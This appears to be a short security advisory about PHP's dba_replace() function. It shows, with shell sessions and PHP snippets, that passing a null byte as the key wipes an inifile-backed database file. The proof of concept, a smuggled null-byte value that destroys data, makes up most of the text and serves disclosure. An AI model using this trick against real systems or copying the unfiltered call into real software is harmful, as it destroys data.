- --- 0.Description ---
PHP is an HTML-embedded scripting language. Much of its syntax is borrowed
from C, Java and Perl with a couple of unique PHP-specific features thrown
in. The goal of the language is to allow web developers to write
dynamically generated pages quickly.

NOTE:
These functions build the foundation for accessing Berkeley DB style
databases.

dba_replace - Replace or insert entry

- --- 1. dba_replace() destroying file ---
Function dba_replace() are not filtring strings key and value. There is a
possibility the destruction of the file.

# cat /www/dba.hack.php
<?php
$source=dba_open("/www/about.ini", "wlt", "inifile");
dba_replace("HOME","/www/",$source);
?>
# cat /www/about.ini
PATH=/
CURR=.
HOME=/home/
# php /www/dba.hack.php
# cat /www/about.ini
PATH=/
CURR=.
HOME=/www/
#

Well.
But, lets try use

# cat /www/dba.ham.php
<?php
$source=dba_open("/www/about.ini", "wlt", "inifile");
dba_replace("\0","/www/",$source);
?>
# php /www/dba.ham.php
# cat /www/about.ini
#

Now /www/about.ini, is emtpy.
